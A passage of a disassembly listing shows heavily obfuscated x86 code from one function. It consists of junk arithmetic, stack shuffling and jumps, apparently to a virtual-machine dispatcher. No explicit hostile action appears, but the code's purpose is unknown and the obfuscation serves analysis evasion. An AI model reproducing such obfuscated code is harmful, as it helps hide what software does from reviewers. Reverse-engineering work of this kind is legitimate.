		mov	esp, [esp-6E6Eh+arg_6E64+2]
		push	small 1905h
		mov	word ptr [esp-6E6Ch+arg_6E64], si
		push	edi
		push	small 748Bh
		pop	di
		shl	di, 3
		jmp	loc_5A1220
; ---------------------------------------------------------------------------


loc_5949BE:				; CODE XREF: sub_581EE9+1EBC0j
		mov	ecx, ebp
		pop	ebp
		add	esi, ecx
		jmp	loc_5A3090
; ---------------------------------------------------------------------------


loc_5949C8:				; CODE XREF: sub_581EE9+1EBF9j
		mov	[esp-6E6Ch+arg_6E64], eax
		push	edx
		jmp	loc_59A767
; ---------------------------------------------------------------------------


loc_5949D1:				; CODE XREF: sub_581EE9+25165j
		pop	esp
		ror	word ptr [esp-6E6Ch+arg_6E64], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5949DC:				; CODE XREF: sub_581EE9+14FFFj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp-6E64h+arg_6E5C]
		jmp	loc_596F54
; ---------------------------------------------------------------------------


loc_5949F6:				; CODE XREF: sub_581EE9+1A26Bj
		sub	edi, 64083784h
		sub	edi, 0B3A4D64h
		jmp	loc_59493B
; ---------------------------------------------------------------------------


loc_594A07:				; CODE XREF: sub_581EE9+15C6Dj
		pop	edx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp-6E64h+arg_6E5C]
		add	esp, 4
		xchg	ecx, [esp-6E68h+arg_6E60]
		mov	esp, [esp-6E68h+arg_6E60]
		push	edi
		jmp	loc_59BD0D
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E64h+arg_6E5C]
		push	7F32h
		jmp	loc_59AF96
; ---------------------------------------------------------------------------


loc_594A33:				; CODE XREF: sub_581EE9+1CADFj
		pop	ebp
		jmp	loc_5A45C4
; ---------------------------------------------------------------------------


loc_594A39:				; CODE XREF: sub_581EE9+1B2A7j
		inc	edi
		xor	edi, 6C7B21A4h
		xor	edi, 13811A4Dh
		add	ecx, 34C4376Ah
		add	ecx, edi
		sub	ecx, 34C4376Ah
		pop	edi
		jmp	loc_59E831
; ---------------------------------------------------------------------------


loc_594A5A:				; CODE XREF: sub_581EE9+1545Ej
		mov	edx, 6A4071E3h
		add	eax, edx
		pop	edx
		push	4A38h
		mov	[esp-6E68h+arg_6E60], esi
		push	6FB8h
		mov	[esp-6E64h+arg_6E5C], ebx
		jmp	loc_595F95
; ---------------------------------------------------------------------------


loc_594A77:				; CODE XREF: sub_581EE9+205F4j
		shr	edi, 1
		xor	edi, 9B4483F8h
		push	0B82h
		mov	[esp-6E60h+arg_6E58], esi
		mov	esi, 40237BA6h
		jmp	loc_5A66DF
; ---------------------------------------------------------------------------


loc_594A91:				; CODE XREF: sub_581EE9+1C3F3j
		sub	edx, 280F01F6h
		pop	ebx
		mov	ebp, [esp-6E64h+arg_6E5C]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp-6E68h+arg_6E60]
		mov	esp, [esp-6E68h+arg_6E60]
		shr	byte ptr [esp-6E68h+arg_6E60], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594AB3:				; CODE XREF: sub_581EE9+20363j
		pop	ebp
		sub	ebx, 4
		xor	ebx, [esp-6E68h+arg_6E60]
		xor	[esp-6E68h+arg_6E60], ebx
		xor	ebx, [esp-6E68h+arg_6E60]
		pop	esp
		mov	[esp-6E6Ch+arg_6E64], ebp
		jmp	loc_5A054B
; ---------------------------------------------------------------------------


loc_594AC9:				; CODE XREF: sub_581EE9+1496Bj
		add	esi, 4
		sub	esi, 4
		jmp	loc_59859D
; ---------------------------------------------------------------------------


loc_594ADA:				; CODE XREF: sub_581EE9+19C68j
		sub	esp, 4
		mov	[esp-6E68h+arg_6E60], esp
		jmp	loc_5A359B
; ---------------------------------------------------------------------------


loc_594AE8:				; CODE XREF: sub_581EE9+23C05j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-6E68h+arg_6E60]
		jmp	loc_598DF2
; ---------------------------------------------------------------------------


loc_594AFC:				; CODE XREF: sub_581EE9+17EDBj
		add	ecx, 4
		jmp	loc_5A2185
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E68h+arg_6E60]
		jmp	loc_59F685
; ---------------------------------------------------------------------------


loc_594B10:				; CODE XREF: sub_581EE9+19B95j
		add	esi, 4
		xchg	esi, [esp-6E68h+arg_6E60]
		pop	esp
		jmp	loc_5A0C1A
; ---------------------------------------------------------------------------


loc_594B1F:				; CODE XREF: sub_581EE9+1CA83j
		push	78F108B6h
		pop	ebx
		mov	edi, ebx
		pop	ebx
		sub	edi, 5A666FABh
		push	edx
		mov	edx, 7B82345Ch
		not	edx
		not	edx
		neg	edx
		neg	edx
		add	edx, 0B2B5D1D9h
		add	edi, edx
		mov	edx, [esp-6E6Ch+arg_6E64]
		add	esp, 4
		add	edi, 0FFFFFFFFh
		not	edi
		xor	edi, 2B9B6652h
		add	edi, 0D7BF1B44h
		add	edi, 8F9ADE2Eh
		add	edx, edi
		mov	edi, [esp-6E70h+arg_6E68]
		add	esp, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_595E32
; ---------------------------------------------------------------------------


loc_594B89:				; CODE XREF: sub_581EE9+2380Dj
		add	esp, 4
		push	edi
		push	[esp-6E74h+arg_6E6E+2]
		mov	edi, [esp-6E70h+arg_6E68]
		push	edx
		jmp	loc_5A2F5A
; ---------------------------------------------------------------------------


loc_594B9A:				; CODE XREF: sub_581EE9+1143Aj
		mov	ebp, eax
		jmp	loc_59688E
; ---------------------------------------------------------------------------


loc_594BA1:				; CODE XREF: sub_581EE9+15496j
		neg	eax
		xchg	eax, ecx
		jmp	loc_592F1D
; ---------------------------------------------------------------------------


loc_594BA9:				; CODE XREF: sub_581EE9+20029j
		xor	[esp+0], ecx
		xor	ecx, [esp+0]
		mov	esp, [esp+0]
		push	ebx
		jmp	loc_5A4D3C
; ---------------------------------------------------------------------------


loc_594BB8:				; CODE XREF: sub_581EE9+1D7CBj
		mov	[esp-6E8Ch+arg_6E84], edx
		push	ebx
		mov	ebx, 5EDC6A2Dh
		shr	ebx, 5
		neg	ebx
		neg	ebx
		shr	ebx, 5
		jmp	loc_59DA0A
; ---------------------------------------------------------------------------


loc_594BD0:				; CODE XREF: sub_581EE9+1B628j
		and	ecx, 768316Eh
		add	ecx, 0EACB4817h
		add	esi, ecx
		pop	ecx
		sub	edi, 26EA097Eh
		sub	edi, esi
		push	eax
		mov	eax, 26EA097Eh
		add	edi, eax
		pop	eax
		push	[esp-6E8Ch+arg_6E84]
		pop	esi
		add	esp, 4
		inc	edi
		or	edi, 1E1E1BEFh
		xor	edi, 0FE7FBFFDh
		add	eax, edi
		jmp	loc_59749C
; ---------------------------------------------------------------------------


loc_594C0B:				; CODE XREF: sub_581EE9+1DAE9j
		push	ebp
		push	edx
		push	ebp
		mov	ebp, 3D1C7568h
		mov	edx, 5CE7698h
		jmp	loc_595D26
; ---------------------------------------------------------------------------


loc_594C1D:				; CODE XREF: sub_581EE9+232F7j
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_59E440
; ---------------------------------------------------------------------------


loc_594C2D:				; CODE XREF: sub_581EE9+20875j
		mov	edx, 49445CE3h
		sub	edx, 2F831C9Eh
		push	ecx
		mov	ecx, 4C7D0C02h
		sub	ecx, 14D03262h
		neg	ecx
		shr	ecx, 2
		xor	ecx, 7C2B00D4h
		add	ecx, 68A427Fh
		xor	ecx, 4062BA3h
		and	edx, ecx
		jmp	loc_59BCDE
; ---------------------------------------------------------------------------


loc_594C62:				; CODE XREF: sub_581EE9+245CAj
		mov	esp, [esp-6E80h+arg_6E76+2]
		test	cx, ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594C6E:				; CODE XREF: sub_581EE9+21538j
		push	ebx
		push	ebp
		mov	ebp, 12840005h
		and	ebp, 3A63A81h
		not	ebp
		sub	ebp, 91C58A89h
		mov	ebx, ebp
		jmp	loc_59BA12
; ---------------------------------------------------------------------------


loc_594C8A:				; CODE XREF: sub_581EE9+10270j
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA6h+arg_6E9E]
		jmp	loc_5A1888
; ---------------------------------------------------------------------------


loc_594C9F:				; CODE XREF: sub_581EE9+23F5Aj
		pop	edx
		pop	dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		inc	[esp-6EB2h+arg_6EA8+2]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594CB2:				; CODE XREF: sub_581EE9+19E25j
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_5928B9
; ---------------------------------------------------------------------------


loc_594CC4:				; CODE XREF: sub_581EE9+1E816j
		xor	ecx, [esp-6EB2h+arg_6EA8+2]
		pop	esp
		jmp	loc_592C5C
; ---------------------------------------------------------------------------


loc_594CCD:				; CODE XREF: sub_581EE9+11ECAj
		add	esp, 4
		sub	al, 8Ah
		sub	al, dh
		push	edx
		sub	esp, 4
		jmp	loc_59BEF8
; ---------------------------------------------------------------------------


loc_594CDD:				; CODE XREF: sub_581EE9+11301j
		mov	[esp-6EA8h+arg_6E9E+2],	edi
		sub	esp, 4
		push	1FA3h
		mov	[esp-6EA0h+arg_6E96+2],	esp
		add	[esp-6EA0h+arg_6E96+2],	4
		pop	[esp-6EA0h+arg_6E96+2]
		add	[esp-6EA4h+arg_6E9A+2],	4
		jmp	loc_5A3FF1
; ---------------------------------------------------------------------------


loc_594CFE:				; CODE XREF: sub_581EE9+1FEECj
		add	ebx, 5F5A2064h
		sub	ebx, edx
		jmp	loc_593DE3
; ---------------------------------------------------------------------------


loc_594D0B:				; CODE XREF: sub_581EE9+15820j
		add	ecx, 1C754A11h
		sub	ecx, 5A3619Eh
		add	ecx, eax
		add	ecx, 5A3619Eh
		jmp	loc_59DF9A
; ---------------------------------------------------------------------------


loc_594D24:				; CODE XREF: sub_581EE9+1B461j
		pop	eax
		add	esi, edx
		jmp	loc_595E3D
; ---------------------------------------------------------------------------


loc_594D2C:				; CODE XREF: sub_581EE9+1A6DAj
		xchg	ebp, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		mov	[esp-6EACh+arg_6EA4], esp
		add	[esp-6EACh+arg_6EA4], 4
		jmp	loc_5A2DC5
; ---------------------------------------------------------------------------


loc_594D3F:				; CODE XREF: sub_581EE9+134F0j
		pop	esi
		push	ebp
		jmp	loc_5A31A5
; ---------------------------------------------------------------------------


loc_594D46:				; CODE XREF: sub_581EE9+1807Dj
		pop	ecx
		add	ecx, 4
		jmp	loc_5948BD
; ---------------------------------------------------------------------------


loc_594D52:				; CODE XREF: sub_581EE9+19976j
		add	ebx, 2
		xchg	ebx, [esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB0h+arg_6EA8]
		sar	word ptr [esp-6EB0h+arg_6EA8], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594D65:				; CODE XREF: sub_581EE9+1E9B8j
		pop	ecx
		add	esp, 4
		add	esi, edx
		jmp	loc_599B4B
; ---------------------------------------------------------------------------


loc_594D70:				; CODE XREF: sub_581EE9+1A433j
		add	ebp, eax
		mov	eax, [esp-6EB4h+arg_6EAC]
		add	esp, 4
		jmp	loc_5A1421
; ---------------------------------------------------------------------------


loc_594D80:				; CODE XREF: sub_581EE9+13EDEj
		add	esp, 4
		xor	dl, 0D1h
		push	eax
		push	ecx
		mov	cl, 0AFh
		push	dx
		mov	dh, 31h
		xor	cl, dh
		jmp	loc_59592C
; ---------------------------------------------------------------------------


loc_594D98:				; CODE XREF: sub_581EE9+15EC8j
		add	esp, 4
		sub	ebx, 16C735ECh
		add	ebx, eax
		push	5AD6h
		mov	[esp-6EB2h+arg_6EA8+2],	eax
		sub	esp, 4
		mov	[esp-6EAEh+arg_6EA4+2],	ecx
		push	3B0E6D58h
		jmp	loc_596503
; ---------------------------------------------------------------------------


loc_594DBE:				; CODE XREF: sub_581EE9+14A46j
		push	ebp
		push	dword ptr [esp-6EA6h+arg_6EA2]
		jmp	loc_599A02
; ---------------------------------------------------------------------------


loc_594DC8:				; CODE XREF: sub_581EE9+1375Cj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EA2h+arg_6E9A]
		jmp	loc_5A001D
; ---------------------------------------------------------------------------


loc_594DDC:				; CODE XREF: sub_581EE9+1E1F9j
		sub	ebx, 0E6B51FC0h
		jmp	loc_599BFB
; ---------------------------------------------------------------------------


loc_594DE7:				; CODE XREF: sub_581EE9+1265Fj
		add	edi, eax
		mov	eax, [esp-6E94h+arg_6E8A+2]
		jmp	loc_59E066
; ---------------------------------------------------------------------------


loc_594DF1:				; CODE XREF: sub_581EE9+19011j
		push	edx
		mov	edx, esp
		jmp	loc_59E450
; ---------------------------------------------------------------------------


loc_594DF9:				; CODE XREF: sub_581EE9+14AF2j
		mov	ebp, 0FFFFFFFFh
		add	ecx, ebp
		pop	ebp
		add	ecx, 0F079A1A9h
		and	edi, ecx
		pop	ecx
		xor	edi, 63E73379h
		inc	edi
		jmp	loc_5935B1
; ---------------------------------------------------------------------------


loc_594E16:				; CODE XREF: sub_581EE9+105FFj
		add	edx, 4
		jmp	loc_5A11C5
; ---------------------------------------------------------------------------


loc_594E21:				; CODE XREF: sub_581EE9+18ED5j
		inc	ecx
		jmp	loc_592F7C
; ---------------------------------------------------------------------------


loc_594E27:				; CODE XREF: sub_581EE9+23628j
		add	edi, 0B5B6D0E2h
		mov	ebp, edi
		push	[esp-6EA4h+arg_6E9A+2]
		mov	edi, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		jmp	loc_59CD44
; ---------------------------------------------------------------------------


loc_594E3D:				; CODE XREF: sub_581EE9+11D35j
		add	eax, 1E8C58CBh
		push	ecx
		push	ebx
		mov	ebx, 38E75DFAh
		add	ebx, 49C20CC1h
		push	0
		add	[esp-6E6Ah+arg_6E60+2],	39146643h
		jmp	loc_594680
; ---------------------------------------------------------------------------


loc_594E60:				; CODE XREF: sub_581EE9+10D41j
		mov	[esp-6E7Eh+arg_6E76], eax
		jmp	loc_59E2A1
; ---------------------------------------------------------------------------


loc_594E68:				; CODE XREF: sub_581EE9+15680j
		xor	ebx, 69342247h
		mov	ecx, ebx
		mov	ebx, [esp-6E7Eh+arg_6E76]
		jmp	loc_597E79
; ---------------------------------------------------------------------------


loc_594E78:				; CODE XREF: sub_581EE9+1FE75j
		push	6090h
		mov	[esp-6E7Ah+arg_6E72], edx
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], ebx
		mov	ebx, 7C661395h
		mov	edx, 6C871357h
		jmp	loc_59BE42
; ---------------------------------------------------------------------------


loc_594E98:				; CODE XREF: sub_581EE9+204B5j
		pop	esp
		push	ebx
		mov	ebx, 20600F21h
		shr	ebx, 4
		inc	ebx
		sub	ebx, 20600EFh
		add	eax, ebx
		mov	ebx, [esp-6E76h+arg_6E6E]
		jmp	loc_59D322
; ---------------------------------------------------------------------------


loc_594EB3:				; CODE XREF: sub_581EE9+239FDj
		neg	ebp
		xor	ebp, 3FFDDD2Bh
		xor	ebx, ebp
		pop	ebp
		add	edi, ebx
		pop	ebx
		jmp	loc_59F7CB
; ---------------------------------------------------------------------------


loc_594EC6:				; CODE XREF: sub_581EE9+1463Dj
		mov	esi, [esp-6E7Eh+arg_6E76]
		jmp	loc_5A3658
; ---------------------------------------------------------------------------


loc_594ECE:				; CODE XREF: sub_581EE9+23DB0j
		mov	[esp-6E7Eh+arg_6E76], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A53D4
; ---------------------------------------------------------------------------


loc_594EE4:				; CODE XREF: sub_581EE9+1E480j
		mov	ebx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		jmp	loc_5A45DF
; ---------------------------------------------------------------------------


loc_594EF2:				; CODE XREF: sub_581EE9+18A30j
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		push	ebx
		jmp	loc_59B5FA
; ---------------------------------------------------------------------------


loc_594F07:				; CODE XREF: sub_581EE9+1F7B6j
		pop	esi
		dec	eax
		push	edi
		mov	edi, 4A152C38h
		push	ebx
		jmp	loc_5952DD
; ---------------------------------------------------------------------------


loc_594F15:				; CODE XREF: sub_581EE9+11665j
		sub	al, cl
		pop	ecx
		xor	al, 0F5h
		jmp	loc_5A02C7
; ---------------------------------------------------------------------------


loc_594F1F:				; CODE XREF: sub_581EE9+1EA2Cj
		mov	ebx, edx
		jmp	loc_599B3B
; ---------------------------------------------------------------------------


loc_594F26:				; CODE XREF: sub_581EE9+160EBj
		xchg	eax, [esp-6E7Eh+arg_6E76]
		jmp	loc_5A011E
; ---------------------------------------------------------------------------


loc_594F2E:				; CODE XREF: sub_581EE9+118DCj
		inc	esi
		not	esi
		xor	esi, 0A926FF56h
		sub	edi, esi
		push	[esp-6E9Ch+arg_6E92+2]
		pop	esi
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_5942DE
; ---------------------------------------------------------------------------


loc_594F4B:				; CODE XREF: sub_581EE9+1AE46j
		push	[esp-6E94h+arg_6E8A+2]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_592090
; ---------------------------------------------------------------------------


loc_594F5D:				; CODE XREF: sub_581EE9+1A3E3j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594F62:				; CODE XREF: sub_581EE9+22683j
		dec	edi
		sub	edi, 7E47648Bh
		jmp	loc_59E0EB
; ---------------------------------------------------------------------------


loc_594F6E:				; CODE XREF: sub_581EE9+1A265j
		push	ebx
		mov	ebx, 58B93953h
		jmp	loc_597EA8
; ---------------------------------------------------------------------------


loc_594F79:				; CODE XREF: sub_581EE9+159AAj
		xor	esi, 5AF068E0h
		sub	esi, 3DAC6677h
		dec	esi
		jmp	loc_59B006
; ---------------------------------------------------------------------------


loc_594F8B:				; CODE XREF: sub_581EE9+17CF1j
		mov	[esp-6E8Ch+arg_6E84], eax
		mov	al, 62h
		add	al, 13h
		sub	al, 1Eh
		jmp	loc_595C2B
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 628C278Ah
		sub	eax, ebx
		push	33B3h
		mov	[esp-6E88h+arg_6E80], edx
		mov	edx, 24984829h
		push	ebx
		mov	ebx, 1FE800AFh
		and	edx, ebx
		jmp	loc_5A6A8C
; ---------------------------------------------------------------------------


loc_594FBB:				; CODE XREF: sub_581EE9+21EF7j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_594FC0:				; CODE XREF: sub_581EE9+1D0E1j
		pop	edi
		add	edi, 4
		jmp	loc_5990E2
; ---------------------------------------------------------------------------


loc_594FCC:				; CODE XREF: sub_581EE9+1BE81j
		mov	ax, word ptr [esp-6E88h+arg_6E80]
		jmp	loc_59EAFF
; ---------------------------------------------------------------------------


loc_594FD5:				; CODE XREF: sub_581EE9+22A1Ej
		add	esp, 4
		add	edx, edi
		jmp	loc_5A2E7D
; ---------------------------------------------------------------------------


loc_594FE2:				; CODE XREF: sub_581EE9+1F0F5j
		pop	[esp-6E8Ch+arg_6E84]
		mov	esp, [esp+0]
		add	esp, 4
		jmp	loc_592C38
; ---------------------------------------------------------------------------


loc_594FF0:				; CODE XREF: sub_581EE9+242EAj
		add	eax, edi
		jmp	loc_5A03C6
; ---------------------------------------------------------------------------


loc_594FF7:				; CODE XREF: sub_581EE9+106FFj
		sub	ecx, 45D44EFAh
		push	740Bh
		mov	[esp-6EA8h+arg_6E9E+2],	ebx
		mov	ebx, 10E17E57h
		dec	ebx
		xor	ebx, 2D42BED3h
		jmp	loc_59ACCC
; ---------------------------------------------------------------------------


loc_595016:				; CODE XREF: sub_581EE9+1E5B6j
		push	edx
		mov	edx, 22120034h
		xor	edi, edx
		pop	edx
		push	ecx
		mov	ecx, edi
		jmp	loc_59E9A0
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp-6EA6h+arg_6E9E], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_595036:				; CODE XREF: sub_581EE9+1E754j
		mov	ch, 52h
		add	al, ch
		pop	ecx
		xor	al, 0DCh
		neg	al
		jmp	loc_598077
; ---------------------------------------------------------------------------


loc_595044:				; CODE XREF: sub_581EE9+15AE0j
		pop	ebp
		push	ecx
		jmp	loc_596D10
; ---------------------------------------------------------------------------


loc_59504B:				; CODE XREF: sub_581EE9+1701Fj
		mov	[esp-6EA6h+arg_6E9E], edx
		push	esp
		mov	edx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], ebp
		jmp	loc_596606
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6EA2h+arg_6E9A]
		push	6139h
		mov	[esp-6E9Eh+arg_6E96], esi
		push	370Bh
		push	esp
		jmp	loc_59A817
; ---------------------------------------------------------------------------


loc_595077:				; CODE XREF: sub_581EE9+1FDF7j
		mov	[esp-6E96h+arg_6E8E], eax
		jmp	loc_5A528F
; ---------------------------------------------------------------------------


loc_59507F:				; CODE XREF: sub_581EE9+144E7j
		pop	eax
		xor	ebx, [esp-6E9Ah+arg_6E92]
		xor	[esp-6E9Ah+arg_6E92], ebx
		xor	ebx, [esp-6E9Ah+arg_6E92]
		jmp	loc_595A5A
; ---------------------------------------------------------------------------


loc_59508E:				; CODE XREF: sub_581EE9+23718j
		mov	bh, cl
		mov	al, bh
		pop	ebx
		mov	ecx, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		sub	al, 0FFh
		jmp	loc_5A1EA5
; ---------------------------------------------------------------------------


loc_5950A3:				; CODE XREF: sub_581EE9+1D0CFj
		mov	esp, [esp-6EA2h+arg_6E9A]
		mov	ax, word ptr [esp-6EA2h+arg_6E9A]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-6E9Eh+arg_6E96]
		jmp	loc_5A120B
; ---------------------------------------------------------------------------


loc_5950BE:				; CODE XREF: sub_581EE9+19287j
		sub	esp, 4
		jmp	loc_5960FE
; ---------------------------------------------------------------------------


loc_5950C9:				; CODE XREF: sub_581EE9+1F50Aj
		mov	al, bh
		mov	ch, al
		pop	eax
		jmp	loc_59BD40
; ---------------------------------------------------------------------------


loc_5950D3:				; CODE XREF: sub_581EE9+19294j
		pop	edx
		jmp	loc_59CC26
; ---------------------------------------------------------------------------


loc_5950D9:				; CODE XREF: sub_581EE9+1C96Aj
		inc	edx
		sub	edx, 1
		sub	edx, 6A888398h
		xor	esi, edx
		pop	edx
		sub	ecx, esi
		mov	esi, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		xchg	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		mov	esp, dword ptr [esp-6EAAh+arg_6EA2]
		mov	[esp-6EAAh+arg_6EA2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59510A:				; CODE XREF: sub_581EE9+1CF0Bj
		add	ebx, 6C3D533Ah
		push	esi
		mov	esi, 55DF7560h
		neg	esi
		push	edi
		mov	edi, 0C0C97DC5h
		add	esi, edi
		pop	edi
		sub	ebx, 45642E22h
		jmp	loc_59C36B
; ---------------------------------------------------------------------------


loc_59512C:				; CODE XREF: sub_581EE9+1278Cj
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	edi
		jmp	loc_5A3E6C
; ---------------------------------------------------------------------------


loc_59513A:				; CODE XREF: sub_581EE9+231F9j
		push	edx
		mov	edx, 1A565907h
		push	eax
		mov	eax, 63C4CA4h
		neg	eax
		sub	eax, 0F9C3B35Ch
		add	eax, 458F5D3Eh
		sub	eax, edx
		sub	eax, 458F5D3Eh
		mov	edx, eax
		pop	eax
		dec	edx
		xor	edx, 937997B0h
		and	edi, edx
		mov	edx, [esp-6E56h+arg_6E4C+2]
		add	esp, 4
		sub	edi, 0C242759h
		push	ecx
		mov	ecx, 70FD71AEh
		add	edi, ecx
		mov	ecx, [esp-6E56h+arg_6E4C+2]
		jmp	loc_5A1D01
; ---------------------------------------------------------------------------


loc_595181:				; CODE XREF: sub_581EE9+1045Bj
		sub	esp, 2
		mov	word ptr [esp-6EA8h+arg_6E9E+2], bx
		mov	bh, dh
		not	bh
		mov	dh, bh
		pop	bx
		sub	dh, 2Fh
		add	al, 63h
		add	al, dh
		sub	al, 63h
		pop	edx
		sub	al, 0E6h
		sub	al, cl
		add	al, 0E6h
		sub	al, 0E4h
		jmp	loc_5969EF
; ---------------------------------------------------------------------------


loc_5951A7:				; CODE XREF: sub_581EE9+22D4Aj
		push	ebx
		push	318A62F2h
		pop	ebx
		add	ebx, 2717FB84h
		add	ecx, 63BD3F9Bh
		sub	ecx, ebx
		sub	ecx, 63BD3F9Bh
		mov	ebx, dword ptr [esp-6EAAh+arg_6EA2]
		add	esp, 4
		not	ecx
		neg	ecx
		xor	ecx, 9284A24Fh
		jmp	loc_59639C
; ---------------------------------------------------------------------------


loc_5951D7:				; CODE XREF: sub_581EE9+13746j
		add	edx, ebp
		jmp	loc_5989DE
; ---------------------------------------------------------------------------


loc_5951DE:				; CODE XREF: sub_581EE9+2177Bj
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		push	4
		jmp	loc_5985C0
; ---------------------------------------------------------------------------


loc_5951EE:				; CODE XREF: sub_581EE9+15FA9j
		dec	edx
		jmp	loc_592205
; ---------------------------------------------------------------------------


loc_5951F4:				; CODE XREF: sub_581EE9+1800Aj
		xor	edi, [esp-6EA6h+arg_6E9E]
		mov	esp, [esp-6EA6h+arg_6E9E]
		shr	[esp-6EA6h+arg_6E9E], cl
		pushf
		jmp	loc_5A296A
; ---------------------------------------------------------------------------


loc_595203:				; CODE XREF: sub_581EE9+22E6Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_594568
; ---------------------------------------------------------------------------


loc_595211:				; CODE XREF: sub_581EE9+17213j
		pop	ebp
		add	esp, 4
		push	esi
		mov	esi, 8974560Ch
		jmp	loc_59E80D
; ---------------------------------------------------------------------------


loc_595223:				; CODE XREF: sub_581EE9+1E522j
		or	cl, 16h
		shr	cl, 5
		xor	cl, 28h
		mov	dh, cl
		pop	ecx
		add	bl, 84h
		add	bl, dh
		sub	bl, 84h
		push	[esp-6EA6h+arg_6E9E]
		pop	edx
		push	2DEFh
		mov	[esp-6EA2h+arg_6E9A], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], ebx
		jmp	loc_5A62F9
; ---------------------------------------------------------------------------


loc_595253:				; CODE XREF: sub_581EE9+20ED7j
		or	dl, 0DEh
		push	bx
		push	eax
		mov	al, 3Bh
		xor	al, 94h
		sub	al, 3Fh
		add	al, 83h
		push	edx
		mov	dh, al
		push	ecx
		mov	ch, dh
		mov	bl, ch
		pop	ecx
		mov	edx, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		push	[esp-6E98h+arg_6E8E+2]
		pop	eax
		add	esp, 4
		sub	dl, bl
		mov	bx, word ptr [esp-6E9Ch+arg_6E92+2]
		add	esp, 2
		shr	dl, 8
		xor	dl, 0C2h
		and	ah, dl
		pop	edx
		and	ah, 37h
		and	ah, 90h
		push	1096h
		mov	[esp-6EA0h+arg_6E96+2],	ebx
		mov	bh, 0D3h
		add	ah, bh
		pop	ebx
		sub	bl, 59h
		add	bl, ah
		add	bl, 59h
		pop	eax
		add	bl, 9Ch
		add	bl, 0Dh
		add	bl, al
		sub	bl, 0Dh
		jmp	loc_59FEB4
; ---------------------------------------------------------------------------


loc_5952BB:				; CODE XREF: sub_581EE9+106E1j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5952C0:				; CODE XREF: sub_581EE9+18CE5j
		push	esi
		jmp	loc_59C5C8
; ---------------------------------------------------------------------------


loc_5952C6:				; CODE XREF: sub_581EE9+13468j
		mov	edi, esp
		push	edx
		mov	edx, 5AAC4258h
		sub	edx, 3031015Bh
		inc	edx
		shr	edx, 5
		jmp	loc_595B1D
; ---------------------------------------------------------------------------


loc_5952DD:				; CODE XREF: sub_581EE9+13027j
		mov	ebx, 158FF90Eh
		sub	edi, ebx
		pop	ebx
		sub	edi, 5C4B32B9h
		inc	edi
		neg	edi
		push	ecx
		jmp	loc_598885
; ---------------------------------------------------------------------------


loc_5952F4:				; CODE XREF: sub_581EE9+1844Cj
		add	esp, 4
		jmp	loc_5934F3
; ---------------------------------------------------------------------------
		push	[esp-6E86h+arg_6E7C+2]
		pop	ecx
		push	1FFBh
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebp
		push	599Fh
		push	esp
		jmp	loc_5A22A4
; ---------------------------------------------------------------------------


loc_595316:				; CODE XREF: sub_581EE9+1AA71j
		push	ecx
		mov	ecx, esp
		jmp	loc_59A1C2
; ---------------------------------------------------------------------------


loc_59531E:				; CODE XREF: sub_581EE9+1F315j
		push	[esp-6E76h+arg_6E6E]
		mov	edi, [esp-6E72h+arg_6E68+2]
		push	3B17h
		mov	[esp-6E6Eh+arg_6E64+2],	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6E6Eh+arg_6E64+2]
		pop	esp
		sub	esp, 4
		jmp	loc_595AC3
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E6Eh+arg_6E64+2]
		push	4312h
